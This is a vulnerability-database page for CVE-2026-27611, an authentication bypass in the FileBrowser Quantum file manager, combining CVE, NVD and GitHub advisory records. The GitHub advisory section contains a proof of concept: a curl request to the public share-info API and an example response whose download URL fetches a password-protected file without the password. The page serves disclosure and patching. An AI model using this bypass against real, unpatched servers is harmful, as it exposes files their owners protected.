Vulnerability-Lookup

CVE-2026-27611 (GCVE-0-2026-27611)

Vulnerability from cvelistv5 – Published: 2026-02-25 02:24 – Updated: 2026-02-27 17:11

Title

FileBrowser Quantum: Password Protection Not Enforced on Shared File Links

Summary

FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to versions 1.1.3-stable and 1.2.6-beta, when users share password-protected files, the recipient can completely bypass the password and still download the file. This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password. Versions 1.1.3-stable and 1.2.6-beta fix the issue.

Severity

7.1 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-02-27 17:11 UTC

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
CWE-288 - Authentication Bypass Using an Alternate Path or Channel
CWE-287 - Improper Authentication

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7851 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/gtsteffaniak/filebrowser/secur…	x_refsource_CONFIRM
https://github.com/gtsteffaniak/filebrowser/commi…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
gtsteffaniak	filebrowser	Affected: < 1.1.3-stable Affected: >= 1.2.0-beta, < 1.2.6-beta	guessed

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-27611

Vulnerability from fkie_nvd - Published: 2026-02-25 03:16 - Updated: 2026-06-17 10:27

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/gtsteffaniak/filebrowser/commit/c51b0ee9738fa4599b409f47c5bf820ef31b4fe1	Patch
security-advisories@github.com	https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-8vrh-3pm2-v4v6	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-8vrh-3pm2-v4v6	Exploit, Vendor Advisory

Impacted products

Vendor	Product	Version
gtsteffaniak	filebrowser_quantum	*
gtsteffaniak	filebrowser_quantum	*
gtsteffaniak	filebrowser_quantum	1.1.3

JSON

To clipboard

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  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to versions 1.1.3-stable and 1.2.6-beta, when users share password-protected files, the recipient can completely bypass the password and still download the file. This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password. Versions 1.1.3-stable and 1.2.6-beta fix the issue."
    },
    {
      "lang": "es",
      "value": "FileBrowser Quantum es un gestor de archivos gratuito, autoalojado y basado en web. Antes de las versiones 1.1.3-stable y 1.2.6-beta, cuando los usuarios comparten archivos protegidos con contrase\u00f1a, el destinatario puede omitir completamente la contrase\u00f1a y aun as\u00ed descargar el archivo. Esto ocurre porque la API devuelve un enlace de descarga directa en los detalles del recurso compartido, que es accesible para cualquiera con SOLO EL ENLACE COMPARTIDO, incluso sin la contrase\u00f1a. Las versiones 1.1.3-stable y 1.2.6-beta solucionan el problema."
    }
  ],
  "id": "CVE-2026-27611",
  "lastModified": "2026-06-17T10:27:23.553",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "LOW",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-27611",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-02-27T17:11:11.814607Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-02-25T03:16:05.463",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/c51b0ee9738fa4599b409f47c5bf820ef31b4fe1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-8vrh-3pm2-v4v6"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-8vrh-3pm2-v4v6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        },
        {
          "lang": "en",
          "value": "CWE-287"
        },
        {
          "lang": "en",
          "value": "CWE-288"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-8VRH-3PM2-V4V6

Vulnerability from github – Published: 2026-02-25 16:00 – Updated: 2026-04-27 14:56

Summary

FileBrowser Quantum: Password Protection Not Enforced on Shared File Links

Details

Summary

When users share password-protected files, the recipient can completely bypass the password and still download the file.

Details

This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password.

PoC

As an authenticated user, create a share for a file, with a password specified in "Optional password" (make sure to allow anonymous access as the PoC doesn't explain how to do this on a share that requires login, but it is also possible to do on a share that requires login, with some small tweaks to the API request)
Copy the first link (the clipboard WITHOUT an arrow) because the second one just completely skips the password without any effort required, which was mentioned in another vulnerability (https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3v48-283x-f2w4)

Now, the link that was copied should look like: https://yourdomain/public/share/yoursharehash example: https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA

Now, make a API request with any api client to GET https://yourdomain/public/api/shareinfo?hash=(the share hash from the link) example: https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA

If curl is preferred, a (command line based API client), here's the command: curl 'https://yourdomain/public/api/shareinfo?hash=yoursharehash' -H 'Accept: */*' example: curl 'https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA' -H 'Accept: */*'

Example response:

{
    "shareTheme": "default",
    "title": "Shared files - IMG_20240814_213703451.jpg",
    "description": "A share has been sent to you to view or download.",
    "disableSidebar": false,
    "source": "/folder",
    "path": "/IMG_20240814_213703451.jpg/",
    "downloadURL": "https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D",
    "shareURL": "https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA",
    "enforceDarkLightMode": "default",
    "viewMode": "normal",
    "shareType": "normal",
    "sidebarLinks": [
        {
            "name": "Share QR Code and Info",
            "category": "shareInfo",
            "target": "#",
            "icon": "qr_code"
        },
        {
            "name": "Download",
            "category": "download",
            "target": "#",
            "icon": "download"
        }
    ],
    "hasPassword": true
}

Look at the downloadURL. It encodes the "&" symbol as "\u0026" so just replace "\u0026" with "&", example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D should be changed to: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D

Then just copy paste the new link (example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D) into any browser, and the file will download. All without giving a password.

Impact

This affects anyone who shares password-protected files.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gtsteffaniak/filebrowser/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260221163904-dbcfba993b85"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-288",
      "CWE-602"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T16:00:49Z",
    "nvd_published_at": "2026-02-25T03:16:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen users share password-protected files, the recipient can completely bypass the password and still download the file.\n\n### Details\nThis happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password.\n\n### PoC\n1. As an authenticated user, create a share for a file, with a password specified in \"Optional password\" (make sure to allow anonymous access as the PoC doesn\u0027t explain how to do this on a share that requires login, but it is also possible to do on a share that requires login, with some small tweaks to the API request)\n2. Copy the first link (the clipboard WITHOUT an arrow) because the second one just completely skips the password without any effort required, which was mentioned in another vulnerability (https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3v48-283x-f2w4)\n\nNow, the link that was copied should look like:\nhttps://yourdomain/public/share/yoursharehash\nexample:\nhttps://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA\n\nNow, make a API request with any api client to GET \nhttps://yourdomain/public/api/shareinfo?hash=(the share hash from the link)\nexample:\nhttps://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA\n\nIf curl is preferred, a (command line based API client), here\u0027s the command:\n`curl \u0027https://yourdomain/public/api/shareinfo?hash=yoursharehash\u0027 -H \u0027Accept: */*\u0027`\nexample:\n`curl \u0027https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA\u0027 -H \u0027Accept: */*\u0027`\n\nExample response:\n```\n{\n    \"shareTheme\": \"default\",\n    \"title\": \"Shared files - IMG_20240814_213703451.jpg\",\n    \"description\": \"A share has been sent to you to view or download.\",\n    \"disableSidebar\": false,\n    \"source\": \"/folder\",\n    \"path\": \"/IMG_20240814_213703451.jpg/\",\n    \"downloadURL\": \"https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\",\n    \"shareURL\": \"https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA\",\n    \"enforceDarkLightMode\": \"default\",\n    \"viewMode\": \"normal\",\n    \"shareType\": \"normal\",\n    \"sidebarLinks\": [\n        {\n            \"name\": \"Share QR Code and Info\",\n            \"category\": \"shareInfo\",\n            \"target\": \"#\",\n            \"icon\": \"qr_code\"\n        },\n        {\n            \"name\": \"Download\",\n            \"category\": \"download\",\n            \"target\": \"#\",\n            \"icon\": \"download\"\n        }\n    ],\n    \"hasPassword\": true\n}\n```\n\nLook at the downloadURL. It encodes the \"\u0026\" symbol as \"\\u0026\" so just replace \"\\u0026\" with \"\u0026\", example: \nhttps://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\nshould be changed to:\nhttps://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\n\nThen just copy paste the new link (example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D) into any browser, and the file will download. All without giving a password.\n\n### Impact\nThis affects anyone who shares password-protected files.",
  "id": "GHSA-8vrh-3pm2-v4v6",
  "modified": "2026-04-27T14:56:47Z",
  "published": "2026-02-25T16:00:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-8vrh-3pm2-v4v6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27611"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/a8c9b9419ec530568991a2f72cec4ed263f99e3c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/c51b0ee9738fa4599b409f47c5bf820ef31b4fe1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gtsteffaniak/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4546"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FileBrowser Quantum: Password Protection Not Enforced on Shared File Links "
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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CVE-2026-27611 (GCVE-0-2026-27611)

FKIE_CVE-2026-27611

GHSA-8VRH-3PM2-V4V6

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Vulnerability timeline

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